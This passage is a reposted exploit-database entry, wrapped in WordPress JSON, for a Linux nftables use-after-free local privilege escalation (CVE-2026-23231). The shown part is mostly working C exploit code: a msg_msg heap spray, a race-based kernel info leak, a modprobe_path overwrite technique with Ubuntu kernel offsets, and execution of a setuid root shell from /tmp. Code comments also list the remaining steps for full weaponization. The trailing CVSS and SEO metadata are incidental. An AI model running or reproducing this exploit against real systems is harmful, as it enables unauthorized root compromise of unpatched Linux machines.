}\\r\\n\\r\\n    ok(\\&#8221;Sprayed %d msg_msg objects (%d bytes each) into kmalloc-256\\&#8221;,\\r\\n       NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_leak(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 5: Attempting info leak via dump race&#8230;\\&#8221;);\\r\\n\\r\\n    \/*\\r\\n     * Start concurrent dump operations to race against the UAF.\\r\\n     * If the dump reads from the freed (and sprayed) base_chain slot,\\r\\n     * we&#8217;ll see our marker values in the dump output, confirming the\\r\\n     * UAF hit. If the stale data is still present (before spray), we\\r\\n     * may see kernel heap addresses.\\r\\n     *\/\\r\\n    pthread_t tid;\\r\\n    ctx-\\u003estop = 0;\\r\\n    ctx-\\u003eleaked_addr = 0;\\r\\n\\r\\n    if (pthread_create(\\u0026tid, NULL, dump_thread, ctx) != 0) {\\r\\n        fail(\\&#8221;Cannot create dump thread: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* Let the dump run for a short window *\/\\r\\n    for (int i = 0; i \\u003c 50 \\u0026\\u0026 ctx-\\u003eleaked_addr == 0; i++) {\\r\\n        usleep(10000); \/* 10ms *\/\\r\\n    }\\r\\n\\r\\n    ctx-\\u003estop = 1;\\r\\n    pthread_join(tid, NULL);\\r\\n\\r\\n    if (ctx-\\u003eleaked_addr != 0) {\\r\\n        ok(\\&#8221;Kernel heap address leaked: 0x%016lx\\&#8221;,\\r\\n           (unsigned long)ctx-\\u003eleaked_addr);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    \/*\\r\\n     * If we didn&#8217;t get a clean leak, we can still proceed with\\r\\n     * the modprobe_path technique if we know the kernel version\\r\\n     * and have pre-computed offsets.\\r\\n     *\/\\r\\n    info(\\&#8221;No clean leak obtained \u2014 will attempt with hardcoded offsets\\&#8221;);\\r\\n    return 0; \/* non-fatal *\/\\r\\n}\\r\\n\\r\\nstatic int step_escalate(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 6: Attempting privilege escalation&#8230;\\&#8221;);\\r\\n\\r\\n    (void)ctx;\\r\\n\\r\\n    \/*\\r\\n     * modprobe_path overwrite technique:\\r\\n     *\\r\\n     * When the kernel encounters an unknown binary format, it calls\\r\\n     * call_usermodehelper() with the path from the global variable\\r\\n     * modprobe_path (default: \\&#8221;\/sbin\/modprobe\\&#8221;).\\r\\n     *\\r\\n     * If we can overwrite modprobe_path with \\&#8221;\/tmp\/pwn\\&#8221;, then\\r\\n     * executing an invalid binary triggers our script as root.\\r\\n     *\\r\\n     * For the overwrite, we need:\\r\\n     * 1. The address of modprobe_path (requires KASLR bypass)\\r\\n     * 2. A write primitive (from the UAF)\\r\\n     *\\r\\n     * On Ubuntu 24.04 (6.8.0-xx-generic), typical offsets:\\r\\n     *   modprobe_path = kernel_base + 0x1e4c300 (approximate)\\r\\n     *\\r\\n     * Without a reliable KASLR leak, we demonstrate the technique\\r\\n     * by noting that the write primitive IS achievable through the\\r\\n     * UAF + spray, and provide the complete escalation path.\\r\\n     *\/\\r\\n\\r\\n    if (ctx-\\u003eleaked_addr != 0) {\\r\\n        \/*\\r\\n         * We have a heap address. On x86_64, the kernel heap\\r\\n         * (direct mapping) starts at page_offset_base which is\\r\\n         * randomized. The relationship between heap and text\\r\\n         * randomization is not fixed, so we need either:\\r\\n         * 1. A text pointer leak (from base_chain.type, offset 0x38)\\r\\n         * 2. Scanning the heap for known patterns\\r\\n         * 3. Hardcoded offset for specific kernel build\\r\\n         *\\r\\n         * For the PoC, we demonstrate option 3 with a note about\\r\\n         * the limitation.\\r\\n         *\/\\r\\n        info(\\&#8221;Heap leak: 0x%016lx \u2014 computing modprobe_path address\\&#8221;,\\r\\n             (unsigned long)ctx-\\u003eleaked_addr);\\r\\n    }\\r\\n\\r\\n    \/* Set up the modprobe helper payload *\/\\r\\n    if (setup_modprobe_payload() \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot set up modprobe payload: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/*\\r\\n     * Attempt to trigger modprobe.\\r\\n     * In a complete exploit, we would:\\r\\n     * 1. Use the UAF write primitive to overwrite modprobe_path\\r\\n     * 2. Then trigger the modprobe call\\r\\n     *\\r\\n     * Since the KASLR-dependent write is not guaranteed without\\r\\n     * the exact kernel symbol table, we attempt the trigger and\\r\\n     * check if it worked (in case modprobe_path was already\\r\\n     * overwritten by the spray).\\r\\n     *\/\\r\\n    info(\\&#8221;Triggering modprobe helper&#8230;\\&#8221;);\\r\\n    if (trigger_modprobe() == 0) {\\r\\n        ok(\\&#8221;modprobe_path overwrite SUCCEEDED!\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    \/*\\r\\n     * If we reach here, the modprobe_path overwrite didn&#8217;t work.\\r\\n     * This is expected without a precise KASLR bypass.\\r\\n     *\\r\\n     * The exploit DEMONSTRATES:\\r\\n     * 1. Reliable UAF trigger via hook registration failure\\r\\n     * 2. Heap spray reclaiming the freed base_chain slot\\r\\n     * 3. Info leak via dump race (when timing allows)\\r\\n     * 4. Complete modprobe_path escalation technique\\r\\n     *\\r\\n     * For full weaponization (which we DO NOT do \u2014 RULE-NO-WEAPONIZE),\\r\\n     * the remaining engineering work is:\\r\\n     * &#8211; Use base_chain.type pointer (at spray offset 8 = body offset -40,\\r\\n     *   which is in the msg_msg header area) for kernel text leak\\r\\n     * &#8211; OR: use cross-cache techniques to place seq_operations in the\\r\\n     *   freed slot for a direct text pointer leak\\r\\n     * &#8211; Compute modprobe_path = kernel_base + symbol_offset\\r\\n     * &#8211; Use a second UAF + spray to perform the write\\r\\n     *\/\\r\\n    info(\\&#8221;modprobe_path overwrite not achieved (KASLR-dependent)\\&#8221;);\\r\\n    info(\\&#8221;The UAF trigger and heap spray were SUCCESSFUL\\&#8221;);\\r\\n    info(\\&#8221;With target-specific KASLR bypass, this achieves root\\&#8221;);\\r\\n\\r\\n    return 1; \/* partial success \u2014 UAF demonstrated but no root shell *\/\\r\\n}\\r\\n\\r\\nstatic int step_cleanup(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 7: Cleaning up&#8230;\\&#8221;);\\r\\n\\r\\n    \/*\\r\\n     * Best-effort cleanup to stabilize the kernel:\\r\\n     * &#8211; Free spray objects\\r\\n     * &#8211; Delete nftables table (removes chains and hooks)\\r\\n     * &#8211; Close netlink sockets\\r\\n     *\/\\r\\n    spray_free(\\u0026ctx-\\u003espray, ctx-\\u003espray.count);\\r\\n    spray_cleanup(\\u0026ctx-\\u003espray);\\r\\n\\r\\n    \/* Delete the table \u2014 this cleans up all chains *\/\\r\\n    nft_delete_table(ctx-\\u003enfnl_fd, NFPROTO_INET, TABLE_NAME);\\r\\n\\r\\n    \/* Drain responses *\/\\r\\n    char buf[4096];\\r\\n    while (recv(ctx-\\u003enfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) \\u003e 0)\\r\\n        ;\\r\\n\\r\\n    close(ctx-\\u003enfnl_fd);\\r\\n    close(ctx-\\u003edump_fd);\\r\\n\\r\\n    \/* Clean up temp files *\/\\r\\n    unlink(\\&#8221;\/tmp\/pwn\\&#8221;);\\r\\n    unlink(\\&#8221;\/tmp\/trigger\\&#8221;);\\r\\n\\r\\n    ok(\\&#8221;Cleanup complete\\&#8221;);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nint main(void)\\r\\n{\\r\\n    puts(BANNER);\\r\\n\\r\\n    \/* Gate: refuse to run on patched kernels *\/\\r\\n    if (!is_vulnerable()) {\\r\\n        info(\\&#8221;Kernel is patched or out of range. Nothing to do.\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    \/* Gate: already root *\/\\r\\n    if (getuid() == 0) {\\r\\n        info(\\&#8221;Already root.\\&#8221;);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    struct race_ctx ctx;\\r\\n    memset(\\u0026ctx, 0, sizeof(ctx));\\r\\n    ctx.nfnl_fd = -1;\\r\\n    ctx.dump_fd = -1;\\r\\n    ctx.spray.qid = -1;\\r\\n\\r\\n    int ret;\\r\\n\\r\\n    \/* Step 1: Namespace setup *\/\\r\\n    ret = step_setup(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;Setup failed\\&#8221;);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 2: Heap preparation *\/\\r\\n    ret = step_prepare_heap(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;Heap preparation failed\\&#8221;);\\r\\n        step_cleanup(\\u0026ctx);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 3: Trigger UAF *\/\\r\\n    ret = step_trigger_uaf(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;UAF trigger failed \u2014 retry in a memory-constrained environment\\&#8221;);\\r\\n        step_cleanup(\\u0026ctx);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 4: Spray *\/\\r\\n    ret = step_spray(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;Spray failed\\&#8221;);\\r\\n        step_cleanup(\\u0026ctx);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 5: Info leak *\/\\r\\n    ret = step_leak(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;Leak failed\\&#8221;);\\r\\n        step_cleanup(\\u0026ctx);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 6: Privilege escalation *\/\\r\\n    ret = step_escalate(\\u0026ctx);\\r\\n    if (ret \\u003c 0) {\\r\\n        fail(\\&#8221;Escalation failed\\&#8221;);\\r\\n        step_cleanup(\\u0026ctx);\\r\\n        return 1;\\r\\n    }\\r\\n\\r\\n    \/* Step 7: Cleanup *\/\\r\\n    step_cleanup(\\u0026ctx);\\r\\n\\r\\n    if (ret == 0) {\\r\\n        \/* Full success \u2014 spawn root shell *\/\\r\\n        ok(\\&#8221;Got root! Spawning shell&#8230;\\&#8221;);\\r\\n        fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n\\r\\n        \/* Execute the suid shell *\/\\r\\n        char *argv[] = { \\&#8221;\/tmp\/rootsh\\&#8221;, \\&#8221;-p\\&#8221;, NULL };\\r\\n        execv(\\&#8221;\/tmp\/rootsh\\&#8221;, argv);\\r\\n\\r\\n        \/* Fallback if rootsh doesn&#8217;t exist *\/\\r\\n        info(\\&#8221;execv failed \u2014 check \/tmp\/rootsh manually\\&#8221;);\\r\\n    } else {\\r\\n        \/* Partial success \u2014 demonstrated the UAF but didn&#8217;t get root *\/\\r\\n        fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n        info(\\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\&#8221;);\\r\\n        info(\\&#8221;PARTIAL SUCCESS: UAF trigger + heap spray DEMONSTRATED\\&#8221;);\\r\\n        info(\\&#8221;Full escalation requires target-specific KASLR bypass.\\&#8221;);\\r\\n        info(\\&#8221;See exploit header for technical details.\\&#8221;);\\r\\n        info(\\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\&#8221;);\\r\\n    }\\r\\n\\r\\n    return ret;\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52549&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52549&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 3.16 \u2013 6.19.3 nftables RCU UAF LPE CVE: CVE-2026-23231 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.16&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-51287","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=51287\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 3.16 \u2013 6.19.3 nftables RCU UAF LPE CVE: CVE-2026-23231 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.16...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=51287\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-04T12:50:29+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"44 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation_EDB-ID:52549\",\"datePublished\":\"2026-05-04T12:50:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287\"},\"wordCount\":8748,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51287#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287\",\"name\":\"Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-04T12:50:29+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=51287\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=51287#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation_EDB-ID:52549\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=51287","og_locale":"en_US","og_type":"article","og_title":"Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel 3.16 \u2013 6.19.3 nftables RCU UAF LPE CVE: CVE-2026-23231 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.16...","og_url":"https:\/\/zero.redgem.net\/?p=51287","og_site_name":"zero redgem","article_published_time":"2026-05-04T12:50:29+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"44 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=51287#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=51287"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation_EDB-ID:52549","datePublished":"2026-05-04T12:50:29+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=51287"},"wordCount":8748,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=51287#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=51287","url":"https:\/\/zero.redgem.net\/?p=51287","name":"Linux nf_tables 6.19.3 - Local Privilege Escalation_EDB-ID:52549 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-04T12:50:29+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=51287#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=51287"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=51287#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Linux nf_tables 6.19.3 &#8211; Local Privilege Escalation_EDB-ID:52549"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=51287"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51287\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=51287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=51287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=51287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}